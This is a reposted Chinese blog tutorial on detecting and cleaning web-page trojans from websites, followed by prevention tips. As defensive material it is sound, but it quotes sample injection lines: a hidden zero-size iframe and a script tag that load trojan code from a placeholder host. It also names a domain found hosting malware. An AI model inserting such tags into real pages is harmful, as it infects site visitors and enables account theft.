天天看点

如何进行网站挂马检测与清除

转自:http://sec.chinabyte.com/206/8919706.shtml

不完全统计,90%的网站都被挂过马,挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括IE等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险超过。目前挂马主要是为了商业利益,有的挂马是为了赚取流量,有的是为了盗取游戏等账号,也有的是为了好玩,不管是处于那种目的,对于访问被挂马的网站来说都是一种潜在的威胁,影响运营网站公司形象。

  当一个网站运营很长时间后,网站文件会非常多,手工查看网页文件代码非常困难,杀毒软件仅仅对恶意代码进行查杀,对网页木马以及挂马程序不一定全部查杀,本文就如何利用一些安全检测工具软件来检测和清除网站木马方面进行探讨,使用本文提及的工具可以很轻松的检测网站是否被挂马。

  (一)检测挂马页面

  1.安装urlsnooper 软件

  Urlsnooper是一款URL嗅探工具,其官方主页地址为:http://www.donationcoder.com/urlsnooper,目前已经不提供免费下载了。

如何进行网站挂马检测与清除

  2.对网站进行侦测

  在Urlsnooper中的“Protocol Filter”中选择“Show All”,然后单击“Sniff Network”按钮开始监听网络。接着使用IE浏览器打开需要进行检测木马的网站,Urlsnooper会自动抓取网站中的所有连接,在Index中按照五位数字序号进行排列,在侦测结果中可能包含的连接地址非常多,这个时候就需要进行排查,可以选中每一个记录,Urlsnooper会在下方中显示详细的监听结果。

3.对地址进行解码

  该地址采用了一种编码,我对常用的这种编码值进行了整理,如下表所示,从中可以找出该代码中的真实地址为http://ave1.cn。

  表1 编码对应表

原值 解码前的值 原值 解码前的值 原值 解码前的值
backspace %08 I %49 %75
tab %09 J %4A %76
linefeed %0A K %4B w %77
creturn %0D L %4C x %78
space %20 M %4D y %79
! %21 N %4E %7A
" %22 O %4F %7B
# %23 P %50 %7C
$ %24 Q %51 } %7D
% %25 R %52
& %26 S %53
' %27 T %54
( %28 U %55
) %29 V %56
* %2A W %57
+ %2B X %58
, %2C Y %59
- %2D Z %5A
. %2E [ %5B
/ %2F \ %5C
%30 ] %5D
1 %31 ^ %5E
2 %32 _ %5F
3 %33 ` %60
4 %34 a %61
5 %35 b %62
6 %36 c %63
7 %37 d %64
8 %38 e %65
9 %39 f %66
: %3A g %67
; %3B h %68
%3C i %69
= %3D j %6A
%3E k %6B
? %3F l %6C
@ %40 m %6D
A %41 n %6E
B %42 o %6F
C %43 p %70
D %44 q %71
E %45 r %72
F %46 s %73
G %47 t %74
H %48 u %75

4.获取该网站相关内容

  可以使用Flashget的资源管理器去获取该网站的内容,如图4所示,打开Flashget下载工具,单击“工具”-“站点资源探索器”,打开站点资源探索器,在地址中输入“http://ave1.cn”,然后回车即可获取该网站的一些资源,在站点资源探索器中可以直接下载看见的文件,下载到本地进行查看。

说明:

  使用“Flashget站点资源探索器”可以很方便的获取挂马者代码地址中的一些资源,这些资源可能是挂马的真实代码,透过这些代码可以知道挂马者是采用哪个漏洞,有时候还可以获取0day。

5.常见的挂马代码

  (1)框架嵌入式网络挂马

  网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:

    <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

  解释:在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。

  (2)Js调用型网页挂马

  js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个.js文件,然后利用js代码调用到挂马的网页。通常代码如下:

    <script language=javascript src=http://www.xxx.com/gm.js></script>

  http://www.xxx.com/gm.js就是一个js脚本文件,通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成,攻击者只需输入相关的选项就可以了。

  (3)图片伪装挂马

  随着防毒技术的发展,黑手段也不停地更新,图片木马技术逃避杀毒监视的新技术,攻击者将类似: http://www.xxx.com/test.htm中的木马代码植入到test.gif图片文件中,这些嵌入代码的图片都可以用工具生成,攻击者只需输入相关的选项就可以了。图片木马生成后,再利用代码调用执行,是比较新颖的一种挂马隐蔽方法,实例代码如:

如何进行网站挂马检测与清除

  注:当用户打开http://www.xxx.com/test.htm是,显示给用户的是http://www.xxx.com/test.jpg,而http://www.xxx.com/test.htm网页代码也随之运行。

(4)网络钓鱼挂马(也称为伪装调用挂马)

  网络中最常见的欺骗手段,黑客们利用人们的猎奇、贪心等心理伪装构造一个链接或者一个网页,利用社会工程学欺骗方法,引诱点击,当用户打开一个看似正常的页面时,网页代码随之运行,隐蔽性极高。这种方式往往和欺骗用户输入某些个人隐私信息,然后窃取个人隐私相关联。比如攻击者模仿腾讯公司设计了一个获取QQ币的页面,引诱输入QQ好和密码,如图5所示。等用户输入完提交后,就把这些信息发送到攻击者指定的地方,如图6。

如何进行网站挂马检测与清除

  图5 伪装QQ页面

  

如何进行网站挂马检测与清除

  图6 获取的QQ密码

  (5)伪装挂马

  高级欺骗,黑客利用IE或者Fixfox浏览器的设计缺陷制造的一种高级欺骗技术,当用户访问木马页面时地址栏显示www.sina.com或者security.ctocio.com.cn等用户信任地址,其实却打开了被挂马的页面,从而实现欺骗,示例代码如:

  

如何进行网站挂马检测与清除

(二)清除网站中的恶意代码(挂马代码)

  1.确定挂马文件

  清除网站恶意代码首先需要知道哪些文件被挂马了,判断方法有三个,方法一就是通过直接查看代码,从中找出挂马代码;方法二是通过查看网站目录修改时间,通过时间进行判断;方法三使用本文提到的软件进行直接定位,通过监听找出恶意代码。

    2.清除恶意代码

  可以使用记事本打开代码文件从中清除恶意代码,在清除代码时一定要注意不要使用FrontPage的预览或者设计,否则会直接访问挂马网站,感染木马程序。建议使用记事本等文本编辑器。在清除恶意代码过程中,发现挂马者竟然对js文件也不放过

    恢复措施:

       1.整站被挂马,最快速的恢复方法是,除开数据库、上传目录之外,替换掉其他所有文件;

  2.仔细检查网站上传目录存放的文件,很多木马伪装成图片保存在上传目录,你直接把上传文件夹下载到本地,用缩略图的形式,查看是不是图片,如果不显示,则一律删除;   3.数据库里面存在木马,则把数据库的木马代码清除!可以采用查找替换;   4.如果网站源文件没有,则需要FTP下载网站文件,然后再DW里面,用替换清除的方式一个个清除,注意网站的木马数,如果被挂了很多不同的,必须多多检查!   预防措施 :   1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。   2、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。   这其中包括各种新闻发布、 商城 及论坛程序,只要可以上传文件的asp都要进行身份认证!   3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。   4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。   5、要尽量保持程序是最新版本。   6、不要在网页上加注后台管理程序登陆页面的链接。   7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。   8、要时常备份数据库等重要文件。   9、日常要多维护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全!   10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。   11、定期对网站进行安全的检测,具体可以利用网上一些工具,如亿思网站安全检测平台。